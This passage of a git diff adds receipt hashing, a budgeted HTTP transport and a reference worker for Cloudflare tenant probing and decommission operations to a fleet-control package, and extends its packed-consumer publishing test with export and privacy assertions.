+
+import { createHash } from 'node:crypto';
+
+function directCleanupReceiptPreimage(receipt) {
+  const evidence = receipt.evidence;
+  return [
+    receipt.version,
+    receipt.operationId,
+    receipt.tenantTag,
+    receipt.environment,
+    receipt.backend,
+    receipt.scriptName,
+    receipt.databaseId,
+    receipt.databaseName,
+    receipt.authority,
+    receipt.admittedPhase,
+    receipt.disposition,
+    evidence.eligibility,
+    evidence.ingressRemoved,
+    evidence.workerAbsent,
+    evidence.platformResourcesAbsent,
+    evidence.applicationR2Settled,
+    evidence.databaseAbsentReadback,
+    evidence.scan
+      ? [
+          evidence.scan.discover.evidenceSha256,
+          evidence.scan.discover.evidenceCount,
+          evidence.scan.verify.evidenceSha256,
+          evidence.scan.verify.evidenceCount,
+        ]
+      : null,
+    receipt.completedAtMs,
+  ];
+}
+
+export function directCleanupReceiptDigest(receipt) {
+  return createHash('sha256')
+    .update(JSON.stringify(directCleanupReceiptPreimage(receipt)))
+    .digest('hex');
+}
diff --git a/packages/fleet-control/scripts/direct-reference-transport.ts b/packages/fleet-control/scripts/direct-reference-transport.ts
new file mode 100644
index 00000000..1db2bb39
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-reference-transport.ts
@@ -0,0 +1,259 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { readBoundedBody } from '@proofoftech/flowsafe/host-kit';
+import type { DirectConformanceConfig } from './direct-credentialed-conformance-config.mjs';
+import { DirectReferenceExecutionError } from './direct-reference-http.js';
+
+export const DIRECT_REFERENCE_LEASE = Object.freeze({
+  leaseTtlMs: 900_000,
+  leaseRenewalIntervalMs: 300_000,
+});
+
+export interface DirectReferenceTransportOptions {
+  readonly runtime: Pick<
+    DirectConformanceConfig['referenceWorker'],
+    'requestTimeoutMs' | 'invocationTimeoutMs' | 'maxProviderRequests'
+  >;
+  readonly startedAt: number;
+  readonly signal: AbortSignal;
+  readonly fetch?: typeof fetch;
+}
+
+export interface DirectReferenceTransportSnapshot {
+  readonly providerAttempts: number;
+  readonly maintenanceAttempts: number;
+  readonly applicationAttempts: number;
+  readonly effectiveRequestTimeoutMs: number;
+  readonly failure: 'deadline' | 'attempts' | 'aborted' | null;
+}
+
+export class DirectReferenceTransport {
+  readonly #nativeFetch: typeof fetch;
+  readonly #signal: AbortSignal;
+  readonly #deadlineAt: number;
+  readonly #maxAttempts: number;
+  readonly #abort = new AbortController();
+  readonly effectiveRequestTimeoutMs: number;
+  #providerAttempts = 0;
+  #maintenanceAttempts = 0;
+  #applicationAttempts = 0;
+  #failure: DirectReferenceTransportSnapshot['failure'] = null;
+
+  constructor(options: DirectReferenceTransportOptions) {
+    const { requestTimeoutMs, invocationTimeoutMs, maxProviderRequests } =
+      options.runtime;
+    if (
+      !Number.isFinite(options.startedAt) ||
+      options.startedAt < 0 ||
+      !Number.isSafeInteger(requestTimeoutMs) ||
+      requestTimeoutMs < 1 ||
+      requestTimeoutMs > 2_147_483_647 ||
+      !Number.isSafeInteger(invocationTimeoutMs) ||
+      invocationTimeoutMs < 1 ||
+      invocationTimeoutMs > 2_147_483_647 ||
+      !Number.isSafeInteger(maxProviderRequests) ||
+      maxProviderRequests < 9 ||
+      maxProviderRequests > 1000
+    )
+      throw new DirectReferenceExecutionError();
+    const fetchFn = options.fetch ?? globalThis.fetch;
+    this.#nativeFetch = (input, init) => fetchFn(input, init);
+    this.#signal = options.signal;
+    this.#deadlineAt = options.startedAt + invocationTimeoutMs;
+    this.#maxAttempts = maxProviderRequests;
+    this.effectiveRequestTimeoutMs = Math.min(
+      requestTimeoutMs,
+      invocationTimeoutMs,
+      DIRECT_REFERENCE_LEASE.leaseTtlMs - 1,
+    );
+  }
+
+  readonly providerFetch: typeof fetch = (input, init) =>
+    this.#send('provider', input, init);
+
+  readonly maintenanceFetch: typeof fetch = (input, init) =>
+    this.#send('maintenance', input, init);
+
+  readonly applicationFetch: typeof fetch = (input, init) =>
+    this.#send('application', input, init);
+
+  #fail(
+    reason: NonNullable<DirectReferenceTransportSnapshot['failure']>,
+  ): void {
+    this.#failure ??= reason;
+    this.#abort.abort();
+  }
+
+  #observeFailure(): void {
+    if (performance.now() >= this.#deadlineAt) this.#fail('deadline');
+    else if (this.#signal.aborted) this.#fail('aborted');
+  }
+
+  assertWithinBudget(): void {
+    this.#observeFailure();
+    if (this.#failure !== null)
+      throw new DirectReferenceExecutionError('budget-exhausted');
+  }
+
+  snapshot(): DirectReferenceTransportSnapshot {
+    this.#observeFailure();
+    return Object.freeze({
+      providerAttempts: this.#providerAttempts,
+      maintenanceAttempts: this.#maintenanceAttempts,
+      applicationAttempts: this.#applicationAttempts,
+      effectiveRequestTimeoutMs: this.effectiveRequestTimeoutMs,
+      failure: this.#failure,
+    });
+  }
+
+  async #send(
+    kind: 'provider' | 'maintenance' | 'application',
+    input: Parameters<typeof fetch>[0],
+    init: Parameters<typeof fetch>[1],
+  ): Promise<Response> {
+    this.assertWithinBudget();
+    const requestInit = {
+      ...init,
+      redirect: 'manual' as const,
+      duplex: 'half' as const,
+    };
+    const request = new Request(input, requestInit);
+    request.signal.throwIfAborted();
+    if (request.url === 'data:,') return this.#nativeFetch(request);
+    const protocol = new URL(request.url).protocol;
+    if (protocol !== 'https:' && protocol !== 'http:')
+      throw new DirectReferenceExecutionError();
+    this.assertWithinBudget();
+    if (
+      this.#providerAttempts +
+        this.#maintenanceAttempts +
+        this.#applicationAttempts >=
+      this.#maxAttempts
+    ) {
+      this.#fail('attempts');
+      this.assertWithinBudget();
+    }
+    const timeoutMs = Math.max(
+      1,
+      Math.ceil(
+        Math.min(
+          this.effectiveRequestTimeoutMs,
+          this.#deadlineAt - performance.now(),
+        ),
+      ),
+    );
+    const signal = AbortSignal.any([
+      request.signal,
+      this.#signal,
+      this.#abort.signal,
+      AbortSignal.timeout(timeoutMs),
+    ]);
+    this.assertWithinBudget();
+    signal.throwIfAborted();
+    if (kind === 'provider') this.#providerAttempts++;
+    else if (kind === 'maintenance') this.#maintenanceAttempts++;
+    else this.#applicationAttempts++;
+    const response = await this.#nativeFetch(request, {
+      signal,
+      redirect: 'manual',
+    });
+    if ([301, 302, 303, 307, 308].includes(response.status)) {
+      void response.body?.cancel().catch(() => undefined);
+      throw new DirectReferenceExecutionError();
+    }
+    return response;
+  }
+}
+
+export interface DirectBoundedRequestOptions {
+  readonly fetch: typeof fetch;
+  readonly url: URL;
+  readonly method: string;
+  readonly token: string;
+  readonly body?: unknown;
+  /** Statuses the caller treats as an answer; anything else is refused. */
+  readonly acceptStatuses: readonly number[];
+  /** Required response media type, or `undefined` for an empty-body answer. */
+  readonly mediaType?: string;
+  readonly byteLimit: number;
+  readonly invocationSignal: AbortSignal;
+  readonly requestTimeoutMs: number;
+}
+
+/**
+ * Issues one bearer-authorized request against a tenant route and reads its
+ * body under `byteLimit`. A `mediaType` of `undefined` accepts an empty body,
+ * which is what the 204 answers to object writes and deletes carry.
+ */
+export async function readBoundedDirectResponse(
+  options: DirectBoundedRequestOptions,
+): Promise<{ status: number; text: string }> {
+  const cleanup = new AbortController();
+  const signal = AbortSignal.any([
+    options.invocationSignal,
+    cleanup.signal,
+    AbortSignal.timeout(options.requestTimeoutMs),
+  ]);
+  let response: Response | undefined;
+  let bodySettled: Promise<void> | undefined;
+  try {
+    response = await options.fetch(options.url, {
+      method: options.method,
+      headers: {
+        authorization: `Bearer ${options.token}`,
+        ...(options.body === undefined
+          ? {}
+          : { 'content-type': 'application/json' }),
+      },
+      ...(options.body === undefined
+        ? {}
+        : { body: JSON.stringify(options.body) }),
+      signal,
+    });
+    const media = response.headers
+      .get('content-type')
+      ?.split(';')[0]
+      ?.trim()
+      .toLowerCase();
+    if (
+      !options.acceptStatuses.includes(response.status) ||
+      (options.mediaType !== undefined && media !== options.mediaType)
+    )
+      throw new DirectReferenceExecutionError();
+    const stream = new TransformStream<Uint8Array, Uint8Array>();
+    bodySettled = response.body
+      ?.pipeTo(stream.writable, { signal })
+      .catch(() => undefined);
+    const bodyInit = {
+      method: 'POST',
+      headers: response.headers,
+      body: response.body ? stream.readable : undefined,
+      signal,
+      duplex: 'half' as const,
+    };
+    const bounded = await readBoundedBody(
+      new Request(options.url, bodyInit),
+      options.byteLimit,
+    );
+    if (!bounded.ok) throw new DirectReferenceExecutionError();
+    return { status: response.status, text: bounded.text };
+  } finally {
+    cleanup.abort();
+    await bodySettled;
+    if (response && !response.bodyUsed && !response.body?.locked)
+      await response.body?.cancel().catch(() => undefined);
+  }
+}
+
+/** Decodes a bounded body as a JSON object, refusing anything else. */
+export function decodeDirectJsonObject(text: string): Record<string, unknown> {
+  let decoded: unknown;
+  try {
+    decoded = JSON.parse(text);
+  } catch {
+    throw new DirectReferenceExecutionError();
+  }
+  if (!decoded || typeof decoded !== 'object' || Array.isArray(decoded))
+    throw new DirectReferenceExecutionError();
+  return decoded as Record<string, unknown>;
+}
diff --git a/packages/fleet-control/scripts/direct-reference-worker.ts b/packages/fleet-control/scripts/direct-reference-worker.ts
new file mode 100644
index 00000000..a829880b
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-reference-worker.ts
@@ -0,0 +1,239 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs';
+import { DIRECT_TENANT_ROUTES } from './direct-credentialed-tenant-object.mjs';
+import {
+  createDirectReferenceContext,
+  type DirectReferenceContext,
+  type DirectReferenceEnvironment,
+} from './direct-reference-context.js';
+import type { DirectReferenceAction } from './direct-reference-contract.mjs';
+import { dispatchDirectFence } from './direct-reference-fence.js';
+import {
+  forceDirectTerminal,
+  observeDirectForce,
+  recoverDirectForce,
+  recoverDirectForceResidual,
+} from './direct-reference-force.js';
+import {
+  DirectReferenceExecutionError,
+  handleDirectReferenceHttpRequest,
+} from './direct-reference-http.js';
+import { dispatchDirectInventory } from './direct-reference-inventory.js';
+import type { DirectOperationSlot } from './direct-reference-journal.js';
+import { dispatchDirectLifecycle } from './direct-reference-lifecycle.js';
+import { dispatchDirectR4 } from './direct-reference-r4.js';
+import {
+  type DirectReferenceTransportSnapshot,
+  decodeDirectJsonObject,
+  readBoundedDirectResponse,
+} from './direct-reference-transport.js';
+
+const operationSlots: readonly DirectOperationSlot[] = [
+  'inventory-before',
+  'inventory-after',
+  'audit-before',
+  'audit-after',
+  'migration-next',
+  'cleanup-a',
+  'cleanup-b',
+  'cleanup-recovery',
+  'cleanup-recovery-initial',
+  'decommission-a',
+  'decommission-b',
+  'decommission-recovery',
+];
+
+type TenantProbeContext = Pick<
+  DirectReferenceContext,
+  'transport' | 'roleFor' | 'specFor' | 'secrets'
+> & {
+  readonly control: Pick<DirectReferenceContext['control'], 'getDeployment'>;
+};
+
+export async function probeDirectTenant(
+  context: TenantProbeContext,
+  manifest: DirectRunManifest,
+  action: Extract<DirectReferenceAction, { kind: 'tenant-probe' }>,
+  invocationSignal: AbortSignal,
+) {
+  const record = await context.control.getDeployment(
+    manifest.names.roles[action.role].tenantTag,
+    manifest.environment,
+  );
+  if (!record || context.roleFor(record) !== action.role)
+    throw new DirectReferenceExecutionError();
+  const spec = context.specFor(record);
+  const token = context.secrets(action.role).application?.APP_PROBE_TOKEN;
+  if (!spec.routeHostname || typeof token !== 'string' || !token)
+    throw new DirectReferenceExecutionError();
+  const { role, operation } = action;
+  const url = new URL(
+    operation === 'health'
+      ? DIRECT_TENANT_ROUTES.health
+      : DIRECT_TENANT_ROUTES.object,
+    `https://${spec.routeHostname}`,
+  );
+  const method =
+    operation === 'object-put'
+      ? 'POST'
+      : operation === 'object-delete'
+        ? 'DELETE'
+        : 'GET';
+  const readsJson = method === 'GET';
+  const { text: encoded } = await readBoundedDirectResponse({
+    fetch: context.transport.applicationFetch,
+    url,
+    method,
+    token,
+    acceptStatuses: readsJson ? [200] : [204],
+    mediaType: readsJson ? 'application/json' : undefined,
+    byteLimit: readsJson ? 1024 : 0,
+    invocationSignal,
+    requestTimeoutMs: context.transport.effectiveRequestTimeoutMs,
+  });
+  if (!readsJson) return { role, operation, returned: true };
+  const value = decodeDirectJsonObject(encoded);
+  const fields = Object.keys(value).sort().join(',');
+  if (operation === 'health') {
+    if (
+      fields !== 'marker,release' ||
+      (value.release !== '1' && value.release !== '2') ||
+      (value.marker !== 'initial' &&
+        value.marker !== 'next' &&
+        value.marker !== null)
+    )
+      throw new DirectReferenceExecutionError();
+    return { role, operation, release: value.release, marker: value.marker };
+  }
+  if (fields === 'present' && value.present === false)
+    return { role, operation, present: false };
+  if (
+    fields !== 'present,sha256,size' ||
+    value.present !== true ||
+    typeof value.size !== 'number' ||
+    !Number.isSafeInteger(value.size) ||
+    value.size < 1 ||
+    typeof value.sha256 !== 'string' ||
+    !/^[a-f0-9]{64}$/u.test(value.sha256)
+  )
+    throw new DirectReferenceExecutionError();
+  return {
+    role,
+    operation,
+    present: true,
+    size: value.size,
+    sha256: value.sha256,
+  };
+}
+
+async function dispatch(
+  context: DirectReferenceContext,
+  manifest: DirectRunManifest,
+  action: DirectReferenceAction,
+  signal: AbortSignal,
+): Promise<unknown> {
+  if (action.kind === 'control-read') {
+    const operations = await Promise.all(
+      operationSlots.map((slot) => context.journal.readOperation(slot)),
+    );
+    const records = await Promise.all(
+      (['a', 'b', 'recovery'] as const).map(async (role) => {
+        const record = await context.control.getDeployment(
+          manifest.names.roles[role].tenantTag,
+          manifest.environment,
+        );
+        if (!record) return { role, present: false };
+        context.roleFor(record);
+        return {
+          role,
+          present: true,
+          phase: record.phase,
+          desiredSpecDigest: record.desiredSpecDigest,
+          pendingSpecDigest: record.pendingSpecDigest,
+          artifactVersion: record.artifactVersion,
+          pendingArtifactVersion: record.pendingArtifactVersion,
+          databaseId: record.databaseId,
+        };
+      }),
+    );
+    return {
+      binding: context.binding,
+      operations: operations.filter((value) => value !== undefined),
+      records,
+      interruption: await context.journal.readInterruption(),
+      forceBefore: await context.journal.readForceBefore(),
+      forceAfter: await context.journal.readForceAfter(),
+    };
+  }
+  if (action.kind === 'force-recovery')
+    return recoverDirectForce(context, manifest);
+  if (action.kind === 'force-observe') return observeDirectForce(context);
+  if (action.kind === 'recover-force-residual')
+    return recoverDirectForceResidual(context);
+  if (action.kind === 'tenant-probe')
+    return probeDirectTenant(context, manifest, action, signal);
+  if (action.kind === 'tenant-fence')
+    return dispatchDirectFence(context, manifest, action, signal);
+  if (action.kind === 'force-terminal')
+    return forceDirectTerminal(context, manifest, action.role);
+  if ('role' in action)
+    return dispatchDirectLifecycle(context, manifest, action, signal);
+  if (
+    'slot' in action &&
+    (action.slot === 'inventory-before' || action.slot === 'inventory-after')
+  )
+    return dispatchDirectInventory(context, manifest, action, signal);
+  return dispatchDirectR4(context, manifest, action, signal);
+}
+
+export function createDirectReferenceWorker(
+  manifest: DirectRunManifest,
+  runtime: Readonly<{ fetch?: typeof fetch }> = {},
+) {
+  return {
+    async fetch(
+      request: Request,
+      environment: DirectReferenceEnvironment,
+    ): Promise<Response> {
+      const startedAt = performance.now();
+      let metrics: DirectReferenceTransportSnapshot | undefined;
+      const response = await handleDirectReferenceHttpRequest(request, {
+        invokeSecret: environment.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET,
+        configSha256: manifest.configSha256,
+        invocationTimeoutMs: manifest.referenceRuntime.invocationTimeoutMs,
+        startedAt,
+        dispatch: async (action, signal) => {
+          const context = await createDirectReferenceContext(
+            manifest,
+            environment,
+            { startedAt, signal, fetch: runtime.fetch },
+          );
+          let result: unknown;
+          try {
+            result = await dispatch(context, manifest, action, signal);
+          } finally {
+            metrics = context.transport.snapshot();
+          }
+          context.transport.assertWithinBudget();
+          return result;
+        },
+      });
+      if (metrics) {
+        response.headers.set(
+          'X-Direct-Provider-Attempts',
+          String(metrics.providerAttempts),
+        );
+        response.headers.set(
+          'X-Direct-Maintenance-Attempts',
+          String(metrics.maintenanceAttempts),
+        );
+        response.headers.set(
+          'X-Direct-Application-Attempts',
+          String(metrics.applicationAttempts),
+        );
+      }
+      return response;
+    },
+  };
+}
diff --git a/packages/fleet-control/scripts/packed-consumer-test.mjs b/packages/fleet-control/scripts/packed-consumer-test.mjs
index 654d7c7b..d7c797d9 100644
--- a/packages/fleet-control/scripts/packed-consumer-test.mjs
+++ b/packages/fleet-control/scripts/packed-consumer-test.mjs
@@ -1,15 +1,5 @@
 // SPDX-License-Identifier: Apache-2.0
-//
-// Publishing gate for @proofoftech/fleet-control, matching the breakwater and
-// flowsafe packed-consumer tests. This package has four export entries, three
-// of which are Workers entry points that no in-repo consumer imports through
-// the package boundary, so `pnpm build` proves nothing about whether the
-// published export map resolves. This packs the real tarball and consumes it.
-//
-// It runs publint --strict and attw --profile esm-only over the tarball, then
-// typechecks and executes a consumer that reaches every export entry, so a
-// missing dist file, a stale exports key, or a workspace: specifier that
-// survived packing fails here rather than on the registry.
+
 import assert from 'node:assert/strict';
 import { execFileSync } from 'node:child_process';
 import {
@@ -25,12 +15,18 @@ import { createRequire } from 'node:module';
 import { tmpdir } from 'node:os';
 import { dirname, join, resolve } from 'node:path';
 import { fileURLToPath } from 'node:url';
+import { verifyControlPlanePackedBundle } from './control-plane-packed-bundle.mjs';
+import { verifyControlPlanePackedRuntime } from './control-plane-packed-runtime.mjs';
+import { verifyControlPlanePackedSurface } from './control-plane-packed-surface.mjs';
+import { verifyControlPlanePackedWorkload } from './control-plane-packed-workload.mjs';
+import { verifyDirectArtifactsPacked } from './direct-artifacts-packed.mjs';
 
 const packageRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..');
 const workspaceRoot = resolve(packageRoot, '../..');
 const temporaryRoot = await mkdtemp(
   join(tmpdir(), 'fleet-control-packed-consumer-'),
 );
+const lockfileBefore = await readFile(join(workspaceRoot, 'pnpm-lock.yaml'));
 
 function run(command, args, options = {}) {
   execFileSync(command, args, {
@@ -96,6 +92,37 @@ try {
   const manifest = JSON.parse(
     await readFile(join(packedPackageRoot, 'package.json'), 'utf8'),
   );
+  assert.deepEqual(manifest.exports, {
+    '.': { types: './dist/index.d.ts', default: './dist/index.js' },
+    './cloudflare-control-plane': {
+      types: './dist/cloudflare-control-plane.d.ts',
+      default: './dist/cloudflare-control-plane.js',
+    },
+    './workers/dispatch': {
+      types: './dist/workers/dispatch.d.ts',
+      default: './dist/workers/dispatch.js',
+    },
+    './workers/outbound': {
+      types: './dist/workers/outbound.d.ts',
+      default: './dist/workers/outbound.js',
+    },
+    './workers/audit-consumer': {
+      types: './dist/workers/audit-consumer.d.ts',
+      default: './dist/workers/audit-consumer.js',
+    },
+    './package.json': './package.json',
+  });
+  assert.deepEqual(manifest.peerDependencies, {
+    '@cloudflare/workers-types': '>=5.20260730.1 <6',
+  });
+  assert.equal(
+    manifest.peerDependenciesMeta?.['@cloudflare/workers-types']?.optional,
+    undefined,
+  );
+  assert.equal(
+    manifest.devDependencies['@cloudflare/workers-types'],
+    '5.20260905.1',
+  );
 
   // Unscoped, this name would be squattable, and a granular token scoped to
   // @proofoftech would 403 at publish time.
@@ -138,10 +165,16 @@ try {
         name: 'fleet-control-packed-consumer',
         private: true,
         type: 'module',
+        packageManager: 'pnpm@10.34.4',
+        engines: { node: '>=22.22.0', pnpm: '>=10.16.0' },
         dependencies: {
           '@proofoftech/fleet-control': `file:${tarball}`,
           '@proofoftech/flowsafe': `link:${flowsafeDirectory}`,
         },
+        devDependencies: {
+          '@cloudflare/workers-types':
+            manifest.devDependencies['@cloudflare/workers-types'],
+        },
       },
       null,
       2,
@@ -154,7 +187,7 @@ try {
   // whole window between the version bump and the release publishing.
   await writeFile(
     join(consumerDirectory, 'pnpm-workspace.yaml'),
-    `packages:\n  - "."\noverrides:\n  "@proofoftech/flowsafe": ${JSON.stringify(
+    `minimumReleaseAge: 10080\nminimumReleaseAgeExclude:\n  - "@cloudflare/workers-types@5.20260905.1"\npackages:\n  - "."\noverrides:\n  "@proofoftech/flowsafe": ${JSON.stringify(
       `link:${flowsafeDirectory}`,
     )}\n`,
   );
@@ -182,8 +215,18 @@ try {
     join(consumerDirectory, 'consumer.ts'),
     `import {
   ActiveRouteAttestationError,
+  CloudflareApiPlainWorkerBackend,
   CloudflareProvisioningClient,
+  DecommissionAdvanceCapabilityError,
+  DecommissionAdvanceRestartError,
+  DecommissionAdvanceTokenDeploymentError,
+  DecommissionAdvanceTokenError,
+  DecommissionAdvanceTokenFutureError,
+  DecommissionAdvanceTokenOperationError,
   D1CloudflareApiRateCoordinator,
+  FileSystemDatabaseExportStore,
+  FleetMigrationAdvanceCapabilityError,
+  PlainWorkerBackend,
   ProcessLocalCloudflareApiRateCoordinator,
   ProvisioningError,
   WorkersForPlatformsBackend,
@@ -192,32 +235,200 @@ try {
   attestConvergedActiveRoute,
   attestFleetRecordActiveRoute,
   auditFleetDrift,
+  advanceBackendSwitchDecommission,
+  advanceDecommissionDeployment,
+  abandonFleetMigrationOperation,
+  advanceFleetMigration,
+  readFleetMigrationItemsPage,
   decommissionDeployment,
   forceDecommissionDeployment,
   deploymentSpecDigest,
   deriveStateEgressCredential,
   fleetSettlementKey,
   provisionDeployment,
+  plainWorkerIngressModule,
   validateDeploymentSpec,
   type ActiveRouteAttestation,
   type ActiveRouteExpectation,
   type AttestConvergedActiveRouteOptions,
+  type AdvanceBackendSwitchDecommissionOptions,
+  type AdvanceDecommissionDeploymentOptions,
+  type AdvanceFleetMigrationOptions,
+  type BackendSwitchProvider,
+  type CloudflareApiPlainWorkerBackendOptions,
   type CloudflareApiRateCoordinator,
   type DeploymentEgressPolicy,
   type DeploymentSpec,
+  type DecommissionAdvanceIntent,
+  type DecommissionAdvanceAction,
+  type DecommissionAdvanceCapability,
+  type DecommissionAdvanceResult,
+  type DecommissionAdvanceToken,
+  type DecommissionAdvanceTokenClassification,
+  type DecommissionAttachmentProgress,
+  type DecommissionAttachmentPurpose,
+  type DecommissionAttachmentScanEvidence,
+  type DecommissionAttachmentScanInput,
+  type DecommissionAttachmentScanResult,
+  type DecommissionBlockedAttachment,
+  type DecommissionIntentCommon,
+  type DecommissionOperationIdentity,
+  type DecommissionOperationMode,
+  type DecommissionRecordIdentity,
+  type DatabaseExport,
+  type DatabaseExportIntegrity,
+  type DatabaseExportReceiptIdentity,
+  type DurableDatabaseExportStore,
+  type ExternalMutationFence,
+  type FleetAuditFindingsPage,
   type FleetRecord,
+  type FleetMigrationAdvanceAction,
+  type FleetMigrationAdvanceCapability,
+  type FleetMigrationAdvanceResult,
+  type FleetMigrationItem,
+  type FleetMigrationPlanEntry,
+  type FleetMigrationProgress,
+  type FleetMigrationResultRef,
+  type FleetMigrationStep,
+  type FleetStateStore,
   type FleetSettlementContext,
   type FleetSettlementEntry,
   type FleetSettlementHost,
   type FleetStateDatabase,
   type InitialExecutionFenceState,
+  type NormalDecommissionLifecyclePhase,
   type ObservedActiveRoute,
+  type PlainWorkerBackendOptions,
+  type PlainWorkerCleanupOutcome,
   type PlainWorkerCustomDomain,
+  type PlainWorkerDatabaseExportResult,
+  type PlainWorkerDatabaseInventoryEntry,
+  type PlainWorkerDeploymentStatus,
+  type PlainWorkerMutationOutcome,
+  type PlainWorkerProvisioningApi,
   type PlainWorkerRouteApi,
+  type PlainWorkerUploadIntent,
+  type PlainWorkerUploadIntentBase,
+  type PlainWorkerUploadOutcome,
+  type PlainWorkerVersionBinding,
+  type PlainWorkerVersionDetail,
+  type PlainWorkerVersionSummary,
   type ProvisioningBackend,
   type SeedDeploymentIdentityOptions,
   type WorkersForPlatformsApi,
 } from '@proofoftech/fleet-control';
+// @ts-expect-error migration admission is package-private.
+import { admitFleetMigrationItem } from '@proofoftech/fleet-control';
+// @ts-expect-error migration revalidation is package-private.
+import { revalidateFleetMigrationAdmission } from '@proofoftech/fleet-control';
+// @ts-expect-error migration plan compatibility is package-private.
+import { assertFleetMigrationPlanCompatibility } from '@proofoftech/fleet-control';
+// @ts-expect-error migration carrier validation is package-private.
+import { assertMigratingCarrierState } from '@proofoftech/fleet-control';
+// @ts-expect-error the migration step executor is package-private.
+import { executeNextMigrationStep } from '@proofoftech/fleet-control';
+// @ts-expect-error R1's client friend is package-private, not a root API.
+import { advanceCloudflareWorkerAttachmentScan } from '@proofoftech/fleet-control';
+// @ts-expect-error R1 provider attachments stay behind decommission types.
+import type { WorkerAttachment } from '@proofoftech/fleet-control';
+// @ts-expect-error R1 scan targets stay package-private.
+import type { WorkerAttachmentScanTarget } from '@proofoftech/fleet-control';
+// @ts-expect-error R1 progress stays package-private.
+import type { WorkerAttachmentScanProgress } from '@proofoftech/fleet-control';
+// @ts-expect-error R1 scan inputs stay package-private.
+import type { WorkerAttachmentScanInput } from '@proofoftech/fleet-control';
+// @ts-expect-error R1 scan chunks stay package-private.
+import type { WorkerAttachmentScanChunk } from '@proofoftech/fleet-control';
+// @ts-expect-error R1 provider context stays package-private.
+import type { CloudflareWorkerAttachmentScanContext } from '@proofoftech/fleet-control';
+// @ts-expect-error R1 progress errors stay package-private.
+import { CloudflareAttachmentScanProgressError } from '@proofoftech/fleet-control';
+// @ts-expect-error R1 drift errors stay package-private.
+import { CloudflareAttachmentScanDriftError } from '@proofoftech/fleet-control';
+// @ts-expect-error the pure mapper is a deep package-private seam.
+import { mapDecommissionAttachmentScanChunk } from '@proofoftech/fleet-control';
+// @ts-expect-error raw action parsing is package-private.
+import { decommissionAdvanceActionFromUnknown } from '@proofoftech/fleet-control';
+// @ts-expect-error token parsing is package-private.
+import { parseDecommissionAdvanceToken } from '@proofoftech/fleet-control';
+// @ts-expect-error token classification is package-private.
+import { classifyDecommissionAdvanceToken } from '@proofoftech/fleet-control';
+// @ts-expect-error intent normalization is package-private.
+import { normalizeDecommissionAdvanceIntent } from '@proofoftech/fleet-control';
+// @ts-expect-error provider budget validation is package-private.
+import { assertWorkerAttachmentProviderRequestBudget } from '@proofoftech/fleet-control';
+// @ts-expect-error one-step R2 deletion is package-private.
+import { advanceApplicationR2Deletion } from '@proofoftech/fleet-control';
+// @ts-expect-error one-step R2 deletion result is package-private.
+import type { ApplicationR2DeletionAdvance } from '@proofoftech/fleet-control';
+// @ts-expect-error release derivation is package-private.
+import { activeExternalRelease } from '@proofoftech/fleet-control';
+// @ts-expect-error release inventory derivation is package-private.
+import { retainedExternalReleases } from '@proofoftech/fleet-control';
+// @ts-expect-error immutable mapping assertion is package-private.
+import { assertImmutableDeploymentMapping } from '@proofoftech/fleet-control';
+// @ts-expect-error persisted database reconciliation is package-private.
+import { reconcilePersistedDatabase } from '@proofoftech/fleet-control';
+// @ts-expect-error backend-switch application authority is package-private.
+import type { BackendSwitchApplicationR2Authority } from '@proofoftech/fleet-control';
+// @ts-expect-error backend-switch authority projection is package-private.
+import type { BackendSwitchDecommissionAuthorityProjection } from '@proofoftech/fleet-control';
+// @ts-expect-error backend-switch snapshot hashing is package-private.
+import { backendSwitchDecommissionSnapshotDigest } from '@proofoftech/fleet-control';
+// @ts-expect-error backend-switch shell construction is package-private.
+import { backendSwitchDecommissionShell } from '@proofoftech/fleet-control';
+// @ts-expect-error backend-switch entry normalization is package-private.
+import { normalizeSwitchDecommissionEntry } from '@proofoftech/fleet-control';
+// @ts-expect-error backend-switch capability capture is package-private.
+import { captureBackendSwitchDecommissionCapabilities } from '@proofoftech/fleet-control';
+// @ts-expect-error the production backend-switch lease seam is package-private.
+import { withBackendSwitchLease } from '@proofoftech/fleet-control';
+// @ts-expect-error decommission transitions are package-private.
+import type { DecommissionIntentTransition } from '@proofoftech/fleet-control';
+// @ts-expect-error scan-step options are package-private.
+import type { DecommissionAttachmentScanStepOptions } from '@proofoftech/fleet-control';
+// @ts-expect-error scan-step execution is package-private.
+import { advanceDecommissionAttachmentScanStep } from '@proofoftech/fleet-control';
+// @ts-expect-error D1 callback options are package-private.
+import type { ReconcilePersistedDatabaseFromCallbacksOptions } from '@proofoftech/fleet-control';
+// @ts-expect-error D1 callback reconciliation is package-private.
+import { reconcilePersistedDatabaseFromCallbacks } from '@proofoftech/fleet-control';
+// @ts-expect-error D1 export reconstruction is package-private.
+import { databaseExportFromUnknown } from '@proofoftech/fleet-control';
+// @ts-expect-error D1 receipt identity construction is package-private.
+import { databaseExportReceiptIdentity } from '@proofoftech/fleet-control';
+// @ts-expect-error D1 deletion settlement is package-private.
+import { settleDatabaseDeletionUnderBarrier } from '@proofoftech/fleet-control';
+// @ts-expect-error pending ordinary inspection is package-private.
+import type { SwitchEntryPendingArtifactInspection } from '@proofoftech/fleet-control';
+// @ts-expect-error intent codec errors are package-private.
+import { DecommissionAdvanceIntentError } from '@proofoftech/fleet-control';
+// @ts-expect-error receipt capability capture is package-private.
+import { captureDatabaseExportReceiptCapability } from '@proofoftech/fleet-control';
+// @ts-expect-error receipt authority normalization is package-private.
+import { databaseExportReceiptAuthorityFromUnknown } from '@proofoftech/fleet-control';
+// @ts-expect-error receipt identity normalization is package-private.
+import { databaseExportReceiptIdentityFromUnknown } from '@proofoftech/fleet-control';
+// @ts-expect-error receipt integrity normalization is package-private.
+import { databaseExportIntegrityFromUnknown } from '@proofoftech/fleet-control';
+// @ts-expect-error native receipt integrity capture is package-private.
+import { captureDatabaseExportIntegrityPromise } from '@proofoftech/fleet-control';
+// @ts-expect-error receipt body cancellation is package-private.
+import { cancelBodyWithoutAwait } from '@proofoftech/fleet-control';
+// @ts-expect-error tagged receipt errors are package-private.
+import { databaseExportReceiptError } from '@proofoftech/fleet-control';
+// @ts-expect-error the receipt-error classifier is package-private.
+import { isDatabaseExportReceiptError } from '@proofoftech/fleet-control';
+// @ts-expect-error captured receipt capabilities are package-private.
+import type { CapturedDatabaseExportReceiptCapability } from '@proofoftech/fleet-control';
+// @ts-expect-error filesystem receipt primitives are package-private.
